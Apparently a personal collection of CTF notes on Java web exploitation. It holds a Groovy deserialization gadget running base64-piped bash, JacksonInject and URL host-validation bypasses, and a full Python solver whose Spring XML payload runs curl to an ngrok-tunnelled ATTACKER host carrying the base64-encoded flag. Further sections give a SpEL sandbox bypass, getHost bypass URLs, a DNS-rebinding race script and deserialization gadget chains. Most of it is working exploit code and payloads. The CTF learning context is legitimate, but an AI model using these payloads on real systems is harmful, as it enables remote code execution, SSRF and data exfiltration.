" assert java.lang.Runtime.getRuntime().exec(\"bash -c {echo,"+base64Command+"}|{base64,-d}|{bash,-i}\")\r\n" +
"})\r\n" +
"def x\r\n" +
"";
Gadget gadget = new Gadget(new Command(payload));
return gadget;
}
public static byte[] getBytes(final String command, Boolean fusion) throws Exception {
return PayloadRunner.run(Example.class, command, fusion);
}
}
Grab anotation in groovy can download a malcious library, so there’s possibility that we can gain RCE from that if Deserialization exist?
A Case Study on Jenkins RCE. Based on past experience, I‘ll walk… | by Adam Jordan | Medium
Bypassing JacksonInject , Bypassing URL+Curl, and some deserialization trick
AKASEC CTF 2024 | Hackernickname
We can control default value of the JacksonInjection property using something like {"":{"admin":true}}
@JsonCreator
public Hacker(@JsonProperty(value = "firstName", required = true) String firstName,
@JsonProperty(value = "lastName", required = true) String lastName,
@JsonProperty(value = "favouriteCategory", required = true) String favouriteCategory,
@JacksonInject UserRole hackerRole) {
this.firstName = firstName;
this.lastName = lastName;
this.favouriteCategory = favouriteCategory;
this.role = hackerRole;
}
We can bypass the host validation using something like http://{127.0.0.1:8090,@nicknameservice:5000/}/ExperimentalSerializer
try {
parsedUrl = new URL(url);
} catch (MalformedURLException e) {
return ResponseEntity.status(401).body(e.getMessage());
}
if (!parsedUrl.getProtocol().equals("http") || !parsedUrl.getHost().equals("nicknameservice") || parsedUrl.getPort() != 5000)
return ResponseEntity.status(401).body("Invalid URL");
ProcessBuilder pb = new ProcessBuilder("curl", "-f", url, "-o", nicknameService.filePath.toString());
And this is the serialization, its using custom deserialization
public static HashMap<String, Object> deserialize(String serialized) {
ObjectMapper mapper = new ObjectMapper();
HashMap<String, Object> result = new HashMap<String, Object>();
try {
List<SerializationItem> dataList = mapper.readValue(serialized, new TypeReference<List<SerializationItem>>() {});
for (SerializationItem item : dataList) {
switch (item.type) {
case "string" -> result.put(item.name, item.value);
case "boolean" -> result.put(item.name, Boolean.valueOf(item.value));
case "integer" -> {
try {
Integer r = Integer.valueOf(item.value);
result.put(item.name, r);
} catch (NumberFormatException e) {
result.put(item.name, Integer.valueOf("0"));
}
}
case "double" -> {
try {
Double r = Double.valueOf(item.value);
result.put(item.name, r);
} catch (NumberFormatException e) {
result.put(item.name, Double.valueOf("0"));
}
}
case "float" -> {
try {
Float r = Float.valueOf(item.value);
result.put(item.name, r);
} catch (NumberFormatException e) {
result.put(item.name, Float.valueOf("0"));
}
}
case "long" -> {
try {
Long r = Long.valueOf(item.value);
result.put(item.name, r);
} catch (NumberFormatException e) {
result.put(item.name, Long.valueOf("0"));
}
}
case "byte" -> {
try {
Byte r = Byte.valueOf(item.value);
result.put(item.name, r);
} catch (NumberFormatException e) {
result.put(item.name, Byte.valueOf("0"));
}
}
case "object" -> {
try {
String[] args = item.value.split("\\|");
if (args.length == 2) {
Class<?> clazz = Class.forName(args[0]);
Constructor<?> constructor = clazz.getConstructor(String.class);
Object instance = constructor.newInstance(args[1]);
result.put(item.name, instance);
} else if (args.length == 3) {
Class<?> clazz = Class.forName(args[0]);
Constructor<?> constructor = clazz.getConstructor(String.class, String.class);
Object instance = constructor.newInstance(args[1], args[2]);
result.put(item.name, instance);
} else {
result.put(item.name, "Error: currently only <= 2 arguments are supported.");
}
} catch (Exception e) {
result.put(item.name, null);
}
}
}
}
return result;
} catch (Exception e) {
System.out.println(e.getMessage());
return (result);
}
}
Solver
import asyncio
import httpx
from pyngrok import ngrok
from flask import Flask, request
from threading import Thread
from urllib.parse import quote
PORT = 6666
TUNNEL = ngrok.connect(PORT, "tcp").public_url.replace("tcp://", "")
print("TUNNEL:", TUNNEL)
# URL = "http://192.168.183.138:8090"
URL = "http://172.206.89.197:8090/"
class BaseAPI:
def __init__(self, url=URL) -> None:
self.c = httpx.Client(base_url=url)
def home(self, firstName, lastName, favouriteCategory):
return self.c.post("/", json={
"firstName": firstName,
"lastName": lastName,
"favouriteCategory": favouriteCategory,
"": {
"admin": True
}
})
def nickname(self):
return self.c.get("/nickname")
def update(self, url):
return self.c.post("/admin/update", data={"url": url})
class API(BaseAPI):
...
def webServer():
app = Flask(__name__)
@app.get("/")
def home():
return """<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean class="#{T(java.lang.Runtime).getRuntime().exec(
new String[] {
'/bin/bash', '-c', 'curl http:/ATTACKER/?flag=$(/readflag|base64)'
}
)}"></bean>
</beans>""".replace("ATTACKER", TUNNEL)
return Thread(target=app.run, args=('0.0.0.0', PORT))
async def main():
api = API()
server = webServer()
server.start()
await asyncio.sleep(2)
api = API()
api.home("John", "Doe", "Web")
api.nickname()
build = '[{"type":"object","name":"TypeReference","value":"org.springframework.context.support.FileSystemXmlApplicationContext|' + "http://"+TUNNEL + '"}]'
res = api.update("http://{127.0.0.1:8090,@nicknameservice:5000/}/ExperimentalSerializer?serialized=" + quote(build))
print(res.text)
server.join()
if __name__ == "__main__":
asyncio.run(main())
Java sandbox bypass technique in org.springframework.expression.spel.support.SimpleEvaluationContext
package com.example;
import java.lang.reflect.Array;
import org.springframework.expression.EvaluationContext;
import org.springframework.expression.Expression;
import org.springframework.expression.spel.standard.SpelExpressionParser;
import org.springframework.expression.spel.support.SimpleEvaluationContext;
/**
* Hello world!
*
*/
public class App {
public static Object eval(Object root, String expr) {
SimpleEvaluationContext context = SimpleEvaluationContext.forReadOnlyDataBinding().build();
SpelExpressionParser parser = new SpelExpressionParser();
Expression expression = parser.parseExpression(expr);
return expression.getValue((EvaluationContext) context, root);
}
public static void main(String[] args) throws ClassNotFoundException {
// execute a command
Class<?> clazz = Class.forName("org.springframework.context.support.ClassPathXmlApplicationContext");
Object array = Array.newInstance(clazz, 1);
for (int i = 0; i < Array.getLength(array); i++) {
System.out.println(array.getClass().getComponentType());
}
Object object = eval(array, "#root[0]='http://0.0.0.0:4444'");
System.out.println(object);
}
}
We can use BadAttributeValueExpException to trigger toString Tested on java 11
pak-ctf-2024/web_hard_bjd at main · sahuang/pak-ctf-2024 (github.com)
getHost Bypass in java
URI.getHost()
https://4271-180-242-57-138.ngrokfree.app%23@mhl.azurewebsites.net/
https://4271-180-242-57-138.ngrokfree.app#@mhl.azurewebsites.net/
Java DNS cache trick / DNS Evictionp
Challenges : IrisCTF 2025 - CTF fun for hackers of all skill levels
chall name webwebhookhook
from pwn import *
import urllib.parse
import time
import httpx
import asyncio
client = httpx.Client(timeout=httpx.Timeout(60.0, connect=60.0))
#HOST = '127.0.0.1'
HOST = 'webwebhookhook-ef8f02d7f50df889.i.chal.irisc.tf'
PORT = 443
#PORT = 8080
HOSTPORT = f'{HOST}:{PORT}'
URL = f'https://{HOSTPORT}'
# URL = f'http://{HOSTPORT}'
while True:
r = client.get(f'{URL}/')
if r.status_code == 200:
break
print(r.text)
time.sleep(10)
client.get('http://messwithdns.net/login/')
# get the "username" cookie
dns_bin = client.cookies.get('username')
print(f"dns bin: {dns_bin}")
set_payload = {"subdomain":"a","type":"A","value_A":"127.0.0.1","ttl":"1"}
r = client.post(f'http://messwithdns.net/records', json=set_payload)
assert r.status_code == 200
print(f"set dns bin to 127.0.0.1")
hook = f"http://a.{dns_bin}.messwithdns.com/admin"
print(f"hook: {hook}")
time.sleep(5)
print("creating webhook...")
create = {"hook":hook,"template":"{\"body\":_DATA_,\"name\":\"user\"}","response":"{\"a\":\"b\"}"}
r = client.post(f'{URL}/create', json=create)
print(r.text)
assert "ok" in r.text
print(f"created webhook: {hook} -> 127.0.0.1")
def update_dns_bin(a_val):
r = client.get(f'http://messwithdns.net/records').json()
record_id = r[0]['id']
print(f"record id: {record_id}")
update_payload = {"subdomain":"a","type":"A","value_A":a_val,"ttl":"1"}
client.post(f'http://messwithdns.net/records/{record_id}', json=update_payload)
data = b"a" * 100000
def retry_loop():
update_dns_bin("93.184.215.14")
print("dns bin is now 93.184.215.14 (example.com)... waiting to update")
time.sleep(30)
# send 1 request to put the webhook in the DNS cache
try:
r = client.post(f"{URL}/create", json=create)
print(r.text)
except Exception as e:
print(f"error: {e}")
#assert "ok" in r.text # successfully updated
print(f"recached webhook -> 93.184.215.14 (example.com)")
update_dns_bin("68.183.100.217")
print("dns bin is now 68.183.100.217 (my site, hc.lc)")
time.sleep(30)
# now we keep triggering the webhook?... pray that we race the DNS cache eviction...
#data = b"a" * 10000000
#data = b"a" * 10000000
#hook = "http://example.com/admin"
async def worker(name, queue, client):
while True:
try:
r = await client.post(f'{URL}/webhook', params={"hook": hook}, headers={"Content-Type":"text/plain"}, data=data)
#print(r.text)
if "ok" not in r.text:
print(f"Worker {name} got non-ok response")
await queue.put(False) # Signal failure through queue
break
# On success, just continue to next request
except Exception as e:
print(f"Worker {name} error:", e)
# On exception, just continue trying
async def main():
print("trying to race the DNS cache eviction...")
limits = httpx.Limits(max_keepalive_connections=100, max_connections=100)
async with httpx.AsyncClient(limits=limits) as client:
queue = asyncio.Queue()
workers = []
for i in range(50): # Create 50 workers
task = asyncio.create_task(worker(f"worker-{i}", queue, client))
workers.append(task)
try:
# Wait for any worker to fail
result = await queue.get() # Will only get False when a worker fails
print("A worker reported failure, stopping all workers...")
except Exception as e:
print("Main loop error:", e)
finally:
# Cancel all workers
for w in workers:
w.cancel()
# Wait for all workers to finish
await asyncio.gather(*workers, return_exceptions=True)
asyncio.run(main())
while True:
retry_loop()
print("retrying...")
Interesting CVE to make a challenge, Java Xalan-J XSLT
https://blog.noah.360.net/xalan-j-integer-truncation-reproduce-cve-2022-34169/
Noeras Solon Deserialization RCE
suctf ez_solon https://www.yuque.com/yulate/sd2qe4/lck4awbn2y0gslbr
[JDBC Gadget] <org.noear.solon.data.util.UnpooledDataSource: java.sql.Connection getConnection()>
-> <java.sql.DriverManager: java.sql.Connection getConnection(java.lang.String)>
they said "there is h2 jdbc drive in dependency"
JsonObject.toString()->UnpooledDataSource.getConnection()
Another deserialization
https://www.yuque.com/yulate/sd2qe4/af7s0tsqlccm5ipe
getOutputProperties:507, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invoke:64, PropertyGetExecutor (org.apache.commons.jexl3.internal.introspection)
get:66, ObjectContext (org.apache.commons.jexl3)
getVariable:319, InterpreterBase (org.apache.commons.jexl3.internal)
visit:1048, Interpreter (org.apache.commons.jexl3.internal)
jjtAccept:118, ASTIdentifier (org.apache.commons.jexl3.parser)
visit:1029, Interpreter (org.apache.commons.jexl3.internal)
jjtAccept:58, ASTJexlScript (org.apache.commons.jexl3.parser)
interpret:193, Interpreter (org.apache.commons.jexl3.internal)
execute:188, Script (org.apache.commons.jexl3.internal)
evaluate:180, Script (org.apache.commons.jexl3.internal)
eval:45, Test (com.example)
main:30, Test (com.example)